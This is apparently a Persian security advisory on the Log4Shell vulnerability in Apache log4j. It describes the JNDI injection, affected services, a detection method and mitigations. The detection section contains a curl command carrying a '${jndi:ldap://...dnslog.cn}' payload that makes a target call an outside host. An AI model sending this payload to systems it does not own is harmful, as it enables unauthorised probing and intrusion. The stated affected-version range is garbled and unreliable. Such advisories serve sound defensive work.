- عنوان: Log4Shell
- تاریخ افشا: ۱۰ December 2021
- شناسه: CVE-2021-44228
- Platform & Service: Java Logging Library
- CVSSv3: N/A
- فوریت: Critical
اخیرا یک آسیبپذیری با نام مستعار Log4Shell بر روی یکی از کتابخانههای جاوا به نام Java Logging Library (log4j) کشف شده که در صورت Log کردن یک رشته از کاراکترهای خاص میتواند منجر به Remote Code Execution (RCE) گردد. بدین شکل که یک مهاجم از راه دور و بدون احراز هویت یک درخواست خاص را به یک سرور آسیب پذیر ارسال کرده و سپس درخواست مذکور از یک Java Naming and Directory Interface Injection (JNDI) بر روی یکی از سرویسهای زیر استفاده مینماید:
- Lightweight Directory Access Protocol (LDAP)
- Secure LDAP (LDAPS)
- Remote Method Invocation (RMI)
- Domain Name Service (DNS)
در صورتیکه سرور آسیبپذیر با استفاده از log4j درخواستهای دریافتی را Log کند، اکسپلویت مذکور، درخواست یک Payload مخرب را بر روی JNDI، از طریق یکی از سرویسهای فوق ارسال میکند.
نظر به اینکه این کتابخانه بسیار همهگیر و پراستفاده است، بنابراین آسیبپذیری فوق میتواند بسیار خطرناک ظاهر شود.
شایان ذکر است که اکسپلویت آن در سایت گیتهاب در دسترس عموم قرار دارد.
نسخههای آسیبپذیر به شرح زیر است:
- Apache log4j نسخه ۰ و بالاتر
- Apache log4j نسخه ۱۴.۱ و پایینتر
لیست اپلیکیشنها و سرویسهایی که از این کتابخانه استفاده میکنند:
- Apache Druid
- Apache Flink
- Apache Solr
- Apache Spark
- Apache Strusts2
- Apache Tomcat
نحوه تشخیص سرورهای آسیبپذیر
به کمک یک DNS logger (مانند dnslog.cn) میتوان یک دامنه generate کرده و از دستور زیر در Payloadهای تست خود استفاده نمود:
curl 127.0.0.1:8080 -H ‘X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}’
پس از اجرای دستور فوق، با بارگذاری مجدد صفحه، Queryهای DNS مربوط به هاستهای آسیبپذیر، مشاهده میشوند.
نکته: استفاده از dnslog.cn، منجر به افشای نام هاستهای آسیبپذیر شده که توسط مالک سایت قابل مشاهده است. لذا در صورت نیاز به تست با ریسک پایینتر، پیشنهاد میگردد که Authoritative DNS server توسط مالک پیادهسازی و سپس از طریق آن تست مربوطه صورت پذیرد.
راهکار رفع آسیبپذیری
- راهکارهای موقت:
- تنظیم formatMsgNoLookups یا Dlog4j.formatMsgNoLookups بر روی حالت true (در log4j نسخه ۲.۱۰ و بالاتر)
- استفاده از %m{nolookups} به جای %m در تنظیمات PatternLayout
- حذف کلاسهای JndiLookup و JndiManager از log4j-core.jar
- راهکار دائم:
بروزرسانی Java Logging Library (log4j) به نسخه ۲.۱۵.۰
- منابع:
https://github.com/Cybereason/Logout4Shell
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://github.com/christophetd/log4shell-vulnerable-app
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://twitter.com/P0rZ9/status/1468949890571337731
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
https://github.com/Cybereason/Logout4Shell